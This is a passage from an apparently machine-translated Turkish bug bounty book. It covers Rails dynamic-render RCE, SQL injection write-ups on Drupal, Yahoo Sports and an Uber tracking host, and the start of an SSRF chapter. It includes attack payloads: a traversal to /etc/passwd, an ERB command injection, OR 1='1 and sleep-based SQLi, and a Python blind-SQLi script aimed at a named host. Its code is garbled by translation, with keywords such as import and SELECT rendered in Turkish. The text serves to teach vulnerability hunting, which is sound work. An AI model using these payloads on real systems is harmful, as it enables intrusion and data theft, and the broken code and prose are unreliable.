Bir sitenin hangi teknolojileri kullandığına dikkat edin, bunlar genellikle kilit fikirlere yol açar. Bir siteyi nasıl kullanabileceğinizi. Bu durumda, Flask ve Jinja2 olduğu ortaya çıktı büyük saldırı vektörleri. Ve, bazı XSS açıklarında olduğu gibi, güvenlik açığı hemen veya kolayca görünmeyebilir, tümünü kontrol ettiğinizden emin olun yerler metin oluşturuldu. Bu durumda, Uber sitesindeki profil adı düz metin gösterdi ve bu güvenlik açığını gerçekten ortaya çıkaran e-posta oldu.

3. Raylar Dinamik Render

Zorluk : Orta

URL : Yok

Rapor Bağlantısı : https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752[3]

Rapor Tarihi : 1 Şubat 2015

Ödemeli Ödül : N / A

Tanım :

Bu istismarın araştırılmasında nVisium müthiş bir çöküş sağlıyor ve dolaşıyor sömürünün. Yazılmalarına göre, Ruby on Rails denetleyicileri Bir Rails uygulamasında iş mantığı. Çerçeve, bazı oldukça sağlam işlevsellik sağlar, Kullanıcıya basitçe dayalı olarak hangi içeriğin gösterilmesi gerektiğinin anlaşılması render yöntemine iletilen değerler.

Rails ile çalışmak, geliştiricilerin ne olduğunu açık ya da açıkça kontrol etme olanağına sahipler.

işleve geçirilen parametreye göre oluşturulur. Böylece, geliştiriciler açıkça
içeriği metin, JSON, HTML veya başka bir dosya olarak oluşturma.

Bu işlevsellik ile, geliştiriciler URL'den geçirilen parametreleri alabilir;
onları oluşturulacak dosyayı belirleyecek olan Rails'e. Yani, Rails bir şey arardı
gibi **uygulama / görüntüleme / kullanıcı / # {params [: şablon]}** .

Nvisium, bir .html, .haml kodunu oluşturabilecek olan panodan geçme örneğini kullanır.
.html.erb pano görünümü. Bu çağrıyı aldığınızda, Rails dosya tiplerini dizinleri tarar
Rails sözleşmesini eşleştirin (Rails mantra, yapılandırmaya göre bir sözleşmedir). Ancak,
Rails'e bir şeyi oluşturmalarını söylediğinizde, kullanmak için uygun dosyayı bulamıyorsa,
RAILS_ROOT / app / views, RAILS_ROOT ve sistem kökünde arama yapacaktır.

Bu konunun bir parçası. RAILS_ROOT, uygulamanızın kök klasörünü gösterir;
mantıklı. Sistem kökü olmaz ve tehlikelidir.

Böylece, bunu kullanarak,% 2fetc% 2fpasswd dizinine geçebilirsiniz ve Rails / etc / passwd dosyanızı basar.
dosya. Korkunç.

Şimdi, bu daha da ileri gidiyor, **<% 25% 3d ls % 25> yazdığınızda** , bu yorumlanır.
<% = ls %> . Erb temprating dilinde, <% =%> yürütülecek kodu belirtir
ve yazdırıldı, bu yüzden burada, ls komutu çalıştırılacak veya Uzaktan Kod için izin verilecek
Yürütme.

[3] https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752

çıkarımlar

Bu güvenlik açığı, her Rails sitesinde bulunmaz - bağlı
Site nasıl kodlandı. Sonuç olarak, bu otomatik bir araç olacak bir şey değil
mutlaka almak. Bir sitenin Rails kullanılarak oluşturulduğunu bildiğiniz zaman uyanık olun
URL'lerin çoğu için ortak bir kural izler - en basitinde, / controller / id
Basit GET istekleri için veya / controller / id / edit, edit;

Bu url şablonunun ortaya çıktığını gördüğünüzde, oynamaya başlayın. Beklenmedik şekilde geç
değerler ve neyin geri döndüğünü görün.

özet

Güvenlik açıklarını ararken, altta yatanları tespit etmek ve tanımlamak iyi bir fikirdir.
olası bir saldırı bulmak için teknoloji (web çerçevesi, ön uç işleme motoru vb.)
vektörler. Farklı şablonlama motorları, tam olarak ne olduğunu söylemeyi zorlaştırır.
Her koşulda çalışacak, ancak hangi teknolojinin kullanıldığını bilmek
sen. Kontrol ettiğiniz metnin geri getirildiği fırsatlara dikkat edin
Sayfada veya başka bir yerde (bir e-posta gibi) size.

11. SQL Enjeksiyonu

Açıklama

Yapılandırılmış bir sorgu dili (SQL) enjeksiyonu veya SQLi, bir güvenlik açığı oluştuğunda ortaya çıkar.
veritabanı destekli site, bir saldırganın sitenin veritabanını sorgulamasını veya başka şekilde saldırmasını sağlar.
SQLi saldırıları çoğu zaman büyük ölçüde ödüllendirilir çünkü yıkıcı olabilir. Etkinleştirebilirler
bilgi manipüle etmek veya çıkarmak, hatta bir yönetici oluşturmak için bir saldırgan
veritabanında kendileri için.

SQL Veritabanları

Veritabanları, bilgileri bir tablo koleksiyonunda bulunan kayıtlarda ve alanlarda depolar.
Tablolar bir veya daha fazla sütun içeriyor ve tablodaki satır satırdaki kaydı gösteriyor
veri tabanı.

Kullanıcılar oluşturmak için SQL (yapılandırılmış sorgu dili) adlı bir programlama diline güvenirler.
veritabanındaki kayıtları okuyun, güncelleyin ve silin. Kullanıcı SQL komutları gönderir.
(ayrıca ifadeler veya sorgular da denir) veritabanına ve komutları varsayarak
kabul edildiğinde, veritabanı ifadeleri yorumlar ve bazı eylemler gerçekleştirir. Popüler
SQL veritabanları MySQL, Postgresql, MSSQL ve benzeri içerir. İçin MySQL kullanacağız.
Bu bölümün amacı, ancak genel kavramlar tüm SQL veritabanları için geçerlidir.

SQL ifadeleri, anahtar kelimeler ve işlevlerden oluşur. Örneğin, aşağıdaki
deyimi, veritabanına kullanıcılardaki ad sütundan bilgi seçmesini söyler.
tablo, ID sütununun 1'e eşit olduğu kayıtlar için.

```
Kullanıcılardan SEÇİN isim WHERE id = 1;
```

Birçok web sitesi bilgi depolamak ve bu bilgileri kullanmak için veritabanlarına güvenir.
dinamik olarak içerik oluşturun. Örneğin, https://www.leanpub.com/ sitesi sizin
önceki siparişler veya satın aldığınız e-kitapların listesi siz
hesabınızla giriş yapın. Web tarayıcınız sitenin veritabanını sorgular ve üretir
HTML, döndürülen bilgilere dayanarak.

Bir MySQL komutu oluşturmak için sunucunun PHP kodunun teorik bir örneğine bakalım
Bir kullanıcı https://www.leanpub.com?name=yaworsk URL'sini ziyaret ettikten sonra :

Sayfa 90


```
$ name = $ _GET ['name'];
$ q = "SELECT * kullanıcılardan NEREDE isim = '$ isim'";
mysql_query ($ sorgu);
```

Kod, belirtilen URL parametrelerinden ad değerine erişmek için $ _GET [] kullanır
parantezleri arasında ve değeri $ name değişkeninde saklar. Parametre o zaman
$ q değişkenine herhangi bir sterilizasyon yapılmadan geçildi. $ Q değişkeni sorguyu temsil eder.
ad sütununun eşleştiği tüm kullanıcılar tablosundan tüm verileri çalıştırmak ve almak için
name URL parametresindeki değer. Sorgu $ q değişkenini ileterek yürütülür.
PHP işlevi mysql_query için.

Sitenin normal metin içermesi bekleniyor, ancak kullanıcı kötü amaçlı yazılım girerse
giriş testi 'TD 1 = '1 deki gibi bir URL parametresine https://www.leanpub.com?name=test OR' 1 =' 1 ,
yürütülen sorgu:

```
 $ query = "SELECT * FROM kullanıcılarından NEREDE name = 'test' OR 1 = '1'";
```

Kötü amaçlı girişimiz, değer testinden sonra açılıştaki tek teklifi (') kapatır ve
SQL code OR 1 = '1 , sorgunun sonuna kadar. YA asılı tek tırnak 1 = '1 açar
Girişten sonra kodlanmış olan tekli teklifin kapanması. Enjekte edilen sorgu içermezse
bir açılış tek teklifi, asılı teklif SQL sözdizimi hatalarına neden olurdu
Sorgunun yürütülmesini engellerdi.

SQL, AND ve OR gibi koşullu operatörleri kullanır. Bu durumda, SQLi değiştirir
WHERE deyimi, isim sütununun test veya
1 = '1' denklemi true değerini döndürür. MySQL yararlı bir şekilde tamsayı olarak '1' davranışını dönüştürür ve 1
her zaman 1'e eşittir, koşul doğrudur ve sorgu, kullanıcılar tablosundaki tüm kayıtları döndürür.
Bununla birlikte, enjekte etme testi 'OR 1 =' 1 , sorgunun diğer kısımları sterilize edildiğinde çalışmaz.
Örneğin, şöyle bir sorgu olabilir:

```
$ name = $ _GET ['name'];
$ pw = mysql_real_escape_string ($ _ GET ['şifre']);
$ query = "SELECT * FROM kullanıcılarından NEREDE name = '$ name' AND pw = '$ pw'";
```

Bu durumda, parola parametresi de kullanıcı tarafından kontrol edilir, ancak
mysql_real_escape_string işlevi. Aynı yükü kullanıyorsanız, 'VEYA 1 =' 1'i test edin.
adı ve şifreniz 12345 idi, ifadeniz şöyle bitecekti:

$ query = "SELECT * FROM kullanıcılarından NEREDE isim = 'test' VEYA 1 = '1' VE pw = '12345'";

Sorgu, ismin test veya 1 = '1' olduğu ve şifrenin 12345 olduğu tüm kayıtları arar.
(bu veritabanının başka bir düz metin şifresi sakladığı gerçeğini görmezden geleceğiz)

savunma). Şifre kontrolü bir AND işleci kullandığından, sorgumuz geri dönmeyecek
Bir kaydın şifresi 12345 olmadığı sürece veridir. Bu, SQLi girişimi denememize engel olur, ancak
başka bir saldırı yöntemi denemekten vazgeçmiyor.

Ekleyerek yapabileceğimiz şifre parametresini ortadan kaldırmamız gerekiyor ; - , test 'VEYA
1 = '1; - . Bu enjeksiyon iki şeyi gerçekleştirir: noktalı virgül (;), SQL deyimini sonlandırır
ve iki çizgi (-) veritabanına metnin geri kalanının bir yorum olduğunu söyler. bizim
Enjekte edilen parametre sorguyu SELECT * FROM kullanıcılarından WHERE name = 'test' VEYA 1 = '1' olarak değiştirir; .
İfade içindeki AND password = '12345' kodu bir yorum haline gelir, bu nedenle komut
tablodaki tüm kayıtları döndürür. Kullanırken - yorum olarak, MySQL'in
tire ve kalan sorgudan sonra bir boşluk gerektirir aksi takdirde hata döndürür
komutu çalıştırmadan.

SQLi'ye Karşı Alınacak Önlemler

SQLi'yi önlemek için mevcut olan bir koruma, veritabanı olan ifadelerdir.
tekrarlanan sorguları yürütmek için kullanılan özellik. Hazırlanan ifadelerin özel detayları
Bu kitabın kapsamı dışında, ancak sorgular
artık dinamik olarak yürütülmemektedir. Veritabanı, şablonlar gibi sorguları kullanarak
değişkenler için yer tutucular. Sonuç olarak, kullanıcılar bir sorguya doğrulanmamış verileri geçse bile,
enjeksiyon, veritabanının sorgu şablonunu değiştiremez; bu da SQLi'yi engeller.

Ruby on Rails, Django, Symphony ve benzeri web çerçeveleri de yerleşik olarak sunulur
SQLi önlemeye yardımcı olmak için Ancak, mükemmel değiller ve engelleyemezler
her yerde güvenlik açığı. Gördüğümüz iki basit SQLi örneği işe yaramaz
site geliştiricileri en iyi uygulamaları takip etmediği sürece çerçevelerle oluşturulan sitelerde
veya korumaların otomatik olarak sağlanmadığını anlamadı. Örneğin, site
https://www.rails-sqli.org/, sonuçtaki Rails'deki ortak SQLi kalıplarının bir listesini tutar.
geliştirici hatalarından. SQLi'yi test ederken, en iyi seçeneğiniz daha yaşlıları aramaktır.
özel yapılmış veya kullanılmış web çerçeveleri ve içerik yönetimi gibi görünen web siteleri
mevcut sistemlerin tümleşik korumalarına sahip olmayan sistemler.

Örnekler

1. Drupal SQL Enjeksiyonu

Zorluk : Orta

URL : Sürüm 7.32'den daha az olan herhangi bir Drupal sitesi

Rapor Bağlantısı : https://hackerone.com/reports/31756 [1]

[1] https://hackerone.com/reports/31756

Rapor Tarihi : 17 Ekim 2014

Ödemeli Ödül : 3000 Dolar

Tanım :

Drupal, çok benzer şekilde web siteleri oluşturmak için kullanılan popüler bir içerik yönetim sistemidir.
Wordpress ve Joomla'ya. PHP ile yazılmış ve modüler tabanlı, yeni anlam
işlevselliği bir modül kurarak bir Drupal sitesine eklenebilir. Drupal topluluğu
Binlerce yazdı ve onları ücretsiz olarak kullandı. Örnekler arasında e-ticaret,
üçüncü taraf entegrasyonu, içerik üretimi vb. Bununla birlikte, her Drupal kurulumunda
Platformu çalıştırmak için kullanılan aynı çekirdek modüller kümesi ve
veri tabanı. Bunlar tipik olarak Drupal çekirdek olarak adlandırılır.

2014 yılında, Drupal güvenlik ekibi Drupal çekirdeğine acil bir güvenlik güncellemesi yaptı
Tüm Drupal sahalarının, elde edilebilecek bir SQL enjeksiyonuna karşı savunmasız olduğunu gösteren
anonim kullanıcılar. Güvenlik açığının etkisi, bir saldırganın ele geçirilmesine izin verebilir
güncellenmemiş herhangi bir Drupal sitesi.

Güvenlik açığı açısından, Stefan Horst, Drupal geliştiricisinin
yanlış olabilecek veritabanı sorguları için sarmalayıcı işlevselliğini yanlış uyguladı
saldırganlar tarafından taciz edilmek. Daha spesifik olarak, Drupal PHP Data Objects (PDO) kullanıyordu
veritabanına erişmek için bir arayüz olarak. Drupal çekirdek geliştiricileri kod yazdı
bu PDO işlevlerini çağırdı ve Drupal kodunun başka bir zamanda kullanılması gerektiğini söyledi.
geliştiriciler bir Drupal veritabanıyla etkileşime geçmek için kod yazıyorlardı. Bu ortak
Yazılım geliştirme pratiği. Bunun nedeni Drupal'ın kullanılmasına izin vermekti.
farklı türdeki veritabanlarıyla (MySQL, Postgres, vb.) karmaşıklığı kaldırın ve sağlayın
standardizasyon.

Şimdi, dedi ki, Stefan, Drupal sarmalayıcı kodunun bir
SQL sorguya geçirilen dizi verileri hakkında yanlış varsayım. İşte orijinal
kod:

```
foreach ($ i => $ değer olarak $ verileri) {
  [...]
  $ new_keys [$ anahtar. '_' $ i] = $ değer;
}
```

Hatayı tespit edebilir misiniz (yapamazdım)? Geliştiriciler varsayımı yaptı
dizi verilerinin her zaman 0, 1, 2 vb. gibi sayısal anahtarlar içereceğini ($ i değeri)
ve **$ key** değişkenine **$ i '** ye katıldılar ve bunu değere eşit yaptılar. İşte
Drupal'ın db_query işlevinde tipik bir sorgu neye benzerdi:

```
db_query ("SELECT * FROM {users} NEREDE AD IN (: name)", dizi (': name' => array ('us \
er1' , 'kullanıcı2')));
```

Burada, db_query işlevi bir veritabanı sorgusu alır **SELECT * FROM {users} nerede name IN (: name)** ve sorguda yer tutucuların yerine kullanılacak bir değerler dizisi. PHP'de bir dizi dizi olarak tanımladığınızda ('değer', 'değer2', 'değer3'), aslında [0 ⇒ 'değer', 1 ⇒ 'değer2', 2 ⇒ 'değer3'], burada her değere sayısal tuşla erişilebilir. Bu durumda ,: **name** değişkeni, [0 ⇒ 'user1', 1 dizisindeki değerlerle değiştirildi. ⇒ 'kullanıcı2']. Bundan ne elde edersiniz:

```
SELECT * kullanıcılardan NEREDE isim IN (: name_0,: name_1)
```

Çok iyi çok uzak. Sayısal olmayan bir dizi aldığınızda sorun ortaya çıkıyor tuşları, aşağıdaki gibi:

```
db_query ("SELECT * FROM {users} burada ad IN (: name)",
  array (': name' => array ('test) -' => 'kullanıcı1', 'test' => 'kullanıcı2')));
```

Bu durumda **: name** bir dizidir ve tuşları **'test) -', 'test' olur** . Bunun nerede olduğunu görebiliyor musun? gidiyor? Drupal bunu aldığında ve sorguyu oluşturmak için diziyi işlediğinde, biz alırdım:

```
SELECT * kullanıcılardan NEREDE isim IN (:: name_test) -,: name_test)
```

Bunun neden böyle olduğunu anlamak biraz zor olabilir. Açıklanan foreach göre üstte, Drupal dizideki her bir öğeyi birer birer geçirirdi. Yani ilk yineleme $ i = **test) -** ve $ value = **kullanıcı1** . Şimdi, $ key sorgudan **(: isim)** ve $ i ile birleştirildiğinde, **name_test) -** . İkinci yineleme için, $ i = **test** ve $ value = **kullanıcı2** . Yani, $ key $ i ile birleştirildiğinde, **name_test olur** . Sonuç, bir yer tutucusudur : name_test hangi user2'ye eşittir.

Şimdi, tüm söylenenlerle Drupal'ın PHP PDO nesnelerini sarmaladığı gerçeği geliyor. Oyuna girildi çünkü PDO çoklu sorgulara izin veriyor. Yani bir saldırgan kötü niyetli bir şekilde geçebilir giriş, bir dizi anahtarı için kullanıcı yönetici kullanıcısı oluşturmak üzere gerçek bir SQL sorgusu gibi Birden fazla sorgu olarak yorumlanır ve yürütülür.

çıkarımlar

Bu örnek ilginçti, çünkü tek bir başvuruda bulunma meselesi değildi. bir sorgu alıntı ve kırma. Aksine, her şey Drupal'ın kodunun ne olduğu ile ilgiliydi. iç işleve geçirilen dizileri kullanma. Siyahla bulmak kolay değil. kutu sınaması (kodu görme erişiminizin olmadığı yer). Gelen paket Bu, girdilerin yapısını değiştirme fırsatlarını araştırmaktır. bir siteye. Öyleyse, bir URL nereye? Parametre olarak, bir diziyi geçmeye çalışırken adını gibi? isim [] sitenin nasıl idare ettiğini görmek için. SQLi ile sonuçlanmayabilir, ancak diğer ilginç davranışlara yol açar.

Sayfa 94

2. Yahoo Spor Kör SQL

Zorluk : Orta

URL : sports.yahoo.com

Rapor Bağlantısı : esevece tumblr[2]

Rapor Tarihi : 16 Şubat 2014

Ödemeli Ödül : 3,705 Dolar

Tanım :

Bloguna göre Stefano, year parametresi sayesinde bir SQLi güvenlik açığı buldu içinde **http://sports.yahoo.com/nfl/draft?year=2010&type=20&round=2** . Görevinden URL'ye geçerli bir yanıt örneği:

Yahoo Valid Response

Şimdi, ilginç bir şekilde, Stefano iki çizgi eklediğinde, -, sorguya. Sonuçlar değişti:

[2] https://esevece.tumblr.com

Sayfa 95

Yahoo Valid Response

Bunun nedeni, yukarıda sorduğum gibi - sorguda yorum olarak hareket etmektir. Nerede Yahoo'nun orijinal sorgusu şuna benziyor olabilir:

SEÇ * OYUNCULARDAN YIL = 2010 VE TÜR = 20 VE YUVARLAK = 2;

Kısa çizgilerle, Stefano aslında şöyle davranıyordu:

SEÇ * OYUNCULARDAN YILLARIN = 2010;

Bunu kabul ederek, Yahoo'dan veri tabanı bilgilerini çıkarmaya başlamak mümkündü. Örneğin, Stefano veritabanının ana sürüm numarasını kontrol edebildi aşağıdakileri içeren yazılımlar:

IF işlevini kullanarak, sürümdeki ilk karakter () ise oyuncular iade edilir
işlev 5 idi. IF işlevi bir koşul alır ve değerinden sonra değeri döndürür.
koşul doğru, yanlış ise son parametre. Yani, yukarıdaki resme dayanarak,
Koşul, sürümdeki ilk karakterdi. Sonuç olarak, veritabanı sürümünü biliyoruz
sonuç döndürülmediğinden 5 değildir (MySQL dolandırıcılık sayfasını kontrol ettiğinizden emin olun.
SQLi sınarken ek işlevsellik için Kaynaklar sayfası).

Bunun kör bir SQLi olarak kabul edilmesinin nedeni, Stefano'nun doğrudan göremediğidir.
Sonuçlar; Yahoo sadece oyuncuları iade ettiği için sadece veritabanı versiyonunu yazdıramıyor.
Ancak, sorguyu manipüle ederek ve sonuçlarını sonuçlarla karşılaştırarak
temel sorgu (ilk resim), çıkartmaya devam edebilecekdi
Yahoo veritabanından bilgi.

çıkarımlar

SQLi, diğer enjeksiyon açıkları gibi, sömürülmesi zor değil. Anahtar
savunmasız olabilecek parametreleri test etmek. Bu durumda, çift ekleme
dash, Stefano'nun temelde verdiği sorgunun sonuçlarını açık bir şekilde değiştirdi
SQLi. Benzer güvenlik açıklarını ararken, incelikli olmaya dikkat et
Kör bir SQLi kırılganlığının göstergesi olabileceği için sonuçlarda değişiklik yaptı.

3. Uber Kör SQLi

Zorluk : Orta

URL : http://sctrack.email.uber.com.cn/track/unsubscribe.do

Rapor Bağlantısı : https://hackerone.com/reports/150156[3]

Rapor Tarihi : 18 Temmuz 2016

Ödemeli Ödül : 4000 Dolar

Tanım :

Web sayfalarına ek olarak, kör SQL enjeksiyonları gibi diğer yollar ile elde edilebilir
e-posta bağlantıları olarak. Temmuz 2016'da Orange Tsai, Uber'den bir e-posta reklamı aldı. o
abonelikten çıkma bağlantısının URL parametresi olarak bir base64 kodlu dize içerdiğini fark ettim.
Bağlantıya benziyordu:

http: //sctrack.email.uber.com.cn/track/unsubscribe.do p = eyJ1c2VyX2lkIjogIjU3NTUi \
LCAicmVjZWl2ZXIiOiAib3JhbmdlQG15bWFpbCJ9

Base64 döndüren değeri kullanarak eyJ1c2VyX2lkIjogIjU3NTUiLCAi p parametre değerinin kodunu çözme
JSON dizgisi {"user_id": "5755", "alıcı": "orange @ mymail"} . Bir zamanlar Orange ...
kodlanmış dizgiyi kodladı ve kodlanan p URL parametresine sleep (12) = 1 komutunu ekledi,
hangi veritabanı yanıt vermesi daha uzun sürdüğü için tasarlanmış zararsız bir enjeksiyon
abonelik iptali işlemi {"user_id": "5755 ve uyku (12) = 1", "alıcı": "orange @ mymail"} . Eğer bir site
savunmasızdır, sorgu yürütmesi uykuyu değerlendirir (12) ve 12 için işlem yapmaz
sleep komutunun çıktısını 1 ile karşılaştırmadan önce birkaç saniye. MySQL'de uyku

komut normalde 0 döndürür, bu nedenle bu karşılaştırma başarısız olur, ancak bu önemli değil
yürütme en az 12 saniye sürecektir.

Orange, değiştirilen yükü yeniden kodladıktan sonra yükü URL'ye aktardı.
parametre, HTTP yanıtının en az 12 olduğunu doğrulamak için abonelik iptali bağlantısını ziyaret etti.
saniye. Ancak Orange, göndermek için SQLi'nin daha somut bir kanıtına ihtiyacı olduğuna karar verdi.
Uber'e, kullanıcı adını, ana bilgisayar adını ve veritabanının adını atmaya karar verdi.
Bir SQLi'den bilgi çıkarma yeteneğini gösterdiğinden beri kaba kuvvet kullanma
gizli verilere erişmeden.

SQL, kullanıcı adını ve veritabanının ana bilgisayar adını döndüren kullanıcı adlı bir işleve sahiptir.
<user> @ <host> biçiminde . Çünkü Orange, enjekte ettiği yerden çıktıya erişemedi.
sorgular, basitçe kullanıcı arayamadı. Bunun yerine, Turuncu bir sorgu eklemek için sorgusunu değiştirdi.
Sorgunun kullanıcı kimliğine bakıp koşulsuz bir karakter olup olmadığını kontrol edin.
Veritabanının kullanıcı adı ve ana bilgisayar adı, orta işlevi kullanan bir anda dize. Benzer
Yahoo Sports kör SQLi önceki hata raporundan, Orange bir karşılaştırma kullandı
kullanıcı adının ve ana bilgisayar adı dizesinin her karakterini türetecek ifade.

[3] https://hackerone.com/reports/150156

Sayfa 98

Örneğin, bir karşılaştırma ifadesi kullanarak bir kullanıcı adı ve ana bilgisayar adı bulmak
kaba kuvvet, Orange kullanıcı işlevinden döndürülen değerin ilk karakterini aldı.
orta işlevi kullanarak ve karakterin 'a', sonra 'b' ye eşit olup olmadıklarını karşılaştırarak,
sonra 'c' vb. Karşılaştırma bildirimi doğru olsaydı, sunucu yürütürdü
abonelikten çıkma komutu kullanıcı işlevinin ilk karakterinin
return değeri, karşılaştırıldığı karaktere eşittir. Aksi takdirde, eğer ifade
Sahte olsaydı, sunucu aboneliğinden çıkmayı denemezdi. Her karakteri kontrol ederek
Bu fonksiyon ile kullanıcı fonksiyonunun geri dönüş değeri, Orange sonunda mümkün olacak
tüm kullanıcı adını ve ana bilgisayar adını türetin.

Bir dizgeyi elle zorla kaldırmak, zaman alacaktır, bu yüzden Orange bir Python betiği yarattı.
Uber'e yüklerini kendi adına yükler ve gönderirdi:

```
json ithal
ithalat dizesi
ithalat istekleri

dan urllib ithalat alıntı
dan base64 ithalat b64encode
  base = string . basamak + dize . harfler + '_- @.'
  payload = { "user_id" : 5755 , "alıcı" : "blog.orange.tw" }
  için l olarak aralık ( 0 , 30 ):
    için I içinde bir baz:
      yük [[ user_id ' ] = "5755 ve orta (kullanıcı (), % d , 1) =' % c '#" % (l + 1 , i)
        new_payload = json . dökümleri (payload)
        new_payload = b64encode (new_payload)
        r = istek . almak ( 'http://sctrack.email.uber.com.cn/track/unsubscribe.do? \
p = ' + alıntı (new_payload))
        eğer len (r . içeriği) > 0 :
          i yazdır
          mola
```

Python kodu kütüphaneleri alan beş satırlık import ifadesiyle başlar.
Orange'ın HTTP isteklerini, JSON ve string kodlamalarını işlemesi gerekiyor.

Bir veritabanı kullanıcı adı ve ana bilgisayar adı, herhangi bir büyük harf kombinasyonundan oluşabilir.
harfler, küçük harfler, sayılar, kısa çizgiler (-), alt çizgiler (_), (@) işaretlerinde veya noktalarda
(.). Turuncu, bu karakterleri tutmak için temel değişkeni yaratır. Sonra bir değişken yaratır
betiğin sunucuya gönderdiği yükü tutmak. İçinde i için ilk satır
baz for döngüler kullanılarak oluşturulan gerçek enjeksiyondur.

Sana kod boyunca yürüyeceğim. Orange, kullanıcı kimliğini, 5755, user_id dizgisine başvuruyor
onun yükünü oluşturmak için yük değişkeninde tanımlandığı gibi. Orta işlevi kullanır ve
dize işleme bu bölümdeki Yahoo hataya benzer bir yük oluşturmak için.

Sayfa 99

Yükteki% d ve% c, string değiştirme yer tutuculardır. % D veri için kullanılır
karakter verisi için bir rakam ve% c'yi temsil eder.

Yük dizesi çift tırnak (()) ile başlar ve ikinci çiftin sonunda biter.
üçüncü yüzde sembolünden önce çift tırnak. Yüzde üçüncü sembol Python'a söyler
% d ve% c yer tutucularını, içindeki yüzde sembolünü izleyen değerlerle değiştirmek
Parantezler. Bu, kodun% d'yi l + 1 ile değiştirdiği anlamına gelir (değişken l artı
sayı 1) ve% c, i değişkeniyle. Hash (#), yorum yapmanın başka bir yoludur
MySQL ve Orange'ın enjeksiyonunu takiben sorgunun herhangi bir bölümünü yorum haline getiriyor.

L ve i değişkenleri döngü yineleyicilerdir. L'ye ilk girdiğimizde (0,30), l
l değeri, kullanıcı adındaki ve ana makine dizgisinin döndürdüğü pozisyondur.
betiğin kaba kuvvet uygulamaya çalıştığı kullanıcı işlevi. Betik bir pozisyona girdiğinde
kullanıcı adı ve test ettiği ana bilgisayar adı dizesinde yinelenen bir iç içe döngü gireriz
Temel dizedeki her karakterin üzerinde Senaryo ilk defa her ikisini de yinelediğinde
döngüler, ben 0 olacağım ve ben de olacağım. Bu değerler oluşturmak için orta işleve geçirilir.
"5755 ve orta (kullanıcı (), 0,1) = 'a' #" yükü .

İç içe geçme için sonraki yinelemede, l değeri hala 0, i de b olacaktır.
"5755 ve orta (kullanıcı (), 0,1) = 'b' #" yükünü yarat . L pozisyonu olduğu gibi sabit kalacaktır
Döngü yükü oluşturmak için her karakter temelde olsa yinelenir.

Her yeni bir yük oluşturulduğunda, kod yükü JSON'a dönüştürür, yeniden kodlar
base64encode işlevini kullanan dize, HTTP isteğini sunucuya gönderir.
Kod, sunucunun bir mesajla yanıt verip vermediğini kontrol eder. İ içindeki karakter eşleşirse
test edilen pozisyondaki kullanıcı adı alt dizgisi, komut dosyası karakterleri test etmeyi durdurur
bu konumda ve kullanıcı dizesinde bir sonraki konuma geçer. İç içe döngü
kırılır ve tekrar devreye girer, ki bir sonraki pozisyonu test etmek için l değerinde 1 artar
kullanıcı adı dizesi.

Bu kavram kanıtı, Orange'ın veritabanı kullanıcı adını ve ana bilgisayarını onaylamasına izin verdi.
isim sendcloud_w@10.9.79.210 ve veritabanı ismi sendcloud idi (
veritabanı adı, kullanıcıyı veritabanı ile değiştir. Rapora cevaben, Uber onayladı
SQL enjeksiyonu sunucularında gerçekleşmemiş. Enjeksiyon üçüncü-
parti Uber kullanıyordu ama yine de bir ödül ödedi. Tüm ödül programları yapmaz
Aynı hassas bir hizmetin kendileri olmaması durumunda. Uber muhtemelen ödül aldı çünkü
Suistimal, bir saldırganın Uber'in tüm müşteri e-posta adreslerini
sendcloud veritabanı.

Orange'ın yaptığı gibi kendi scriptlerinizi yazabiliyorken veri tabanından bilgi almak için
savunmasız bir web sitesi olarak, otomatik araçları da kullanabilirsiniz. Bunun Kaynaklar bölümü
Bu kitap, SQLMap hakkında böyle bir araç hakkında bilgi içerir.

çıkarımlar

Kodlanmış parametreleri kabul eden HTTP isteklerine dikkat edin. Senden sonra sorguyu kodunu çöz ve enjekte et, yükünü yeniden kodladığından emin ol bu yüzden her şey hala veritabanını kodlamayı bekliyor.

Bir veritabanı adı, kullanıcı adı ve ana bilgisayar adının çıkarılması genellikle göz önünde bulundurulur zararsız, ancak ödül programının izin verilen eylemleri içinde olduğundan emin olun. çalışıyorsunuz. Bazı durumlarda, uyku komutu ispatı için yeterlidir. kavramı.

özet

SQLi, bir site için önemli bir güvenlik açığı ve tehlikeli olabilir. Bir saldırgan olsaydı bir SQLi bulmak, onlar bir siteye tam izinleri almak mümkün olabilir. Bazı durumlarda SQLi, yönetime olanak sağlayan veritabanına veri eklenerek artırılabilir. Drupal örneğinde olduğu gibi sitedeki izinler. SQLi açıklarını ararken, tek tek veya çift tırnak işaretinden geçirilemeyen yerlere dikkat edin. sorgu. Bir güvenlik açığı bulduğunuzda, güvenlik açığının bulunduğunu belirten göstergeler kör enjeksiyonlarla olduğu gibi ince olun. Ayrıca yapabileceğiniz yerleri de aramalısınız. bir siteye, dizinin yerini alabileceğiniz yerler gibi beklenmeyen şekillerde veri iletme Uber böcekindeki gibi istek verisindeki parametreler.

12. Sunucu Tarafı İsteği Sahteciliği

Açıklama

Sunucu tarafı isteği sahteciliği veya SSRF, bir saldırganın bir güvenlik açığı oluşturabildiği bir güvenlik açığıdır.
Sunucu istenmeyen ağ istekleri gerçekleştirir. SSRF'ler bir tanesine sahip olan CSRF'ye benzer
farkı. Bir CSRF saldırısının kurbanı bir kullanıcı iken, SSRF kurbanı web sitesinin kendisidir.
CSRF'de olduğu gibi, SSRF açıkları da etki ve uygulama yöntemlerinde değişiklik gösterebilir. Bunda
kitap, HTTP isteklerine odaklanacağız, ancak SSRF başka protokollerden de yararlanabilir.

HTTP İsteği Konumu

Web sitesinin nasıl organize edildiğine bağlı olarak, SSRF'ye karşı hassas olan bir sunucuyu
Bir dahili ağa veya harici adreslere bir HTTP isteği yapın. Savunmasız
Sunucunun istek yapma yeteneği, SSRF ile neler yapabileceğinizi belirler.

Bazı büyük web sitelerinde, harici internet trafiğinin erişmesini yasaklayan güvenlik duvarları bulunur.
Örneğin, dahili sunucularda halka açık sınırlı sayıda web sitesi olacaktır.
ziyaretçilerden HTTP istekleri alan ve istekleri diğer sunuculara gönderen sunucular
halka açık erişilemez. Bunun ortak bir örneği, veri tabanı sunucularıdır.
genellikle internete erişilemez. Böyle bir siteye giriş yaparken,
düzenli bir web formu aracılığıyla kullanıcı adı ve şifre. Web sitesi size
HTTP isteği ve kimlik bilgileri ile veritabanı sunucusuna kendi isteğini gerçekleştirmek,
daha sonra veritabanı sunucusu web uygulama sunucusuna ve web'e cevap verecektir.
Uygulama sunucusu bilgileri size iletir. Bu süreçte sıklıkla
Uzak veritabanı sunucusunun var olduğunu ve doğrudan
veritabanı.

Saldırganların dahili sunuculara istekleri kontrol etmesine izin veren hassas sunucular
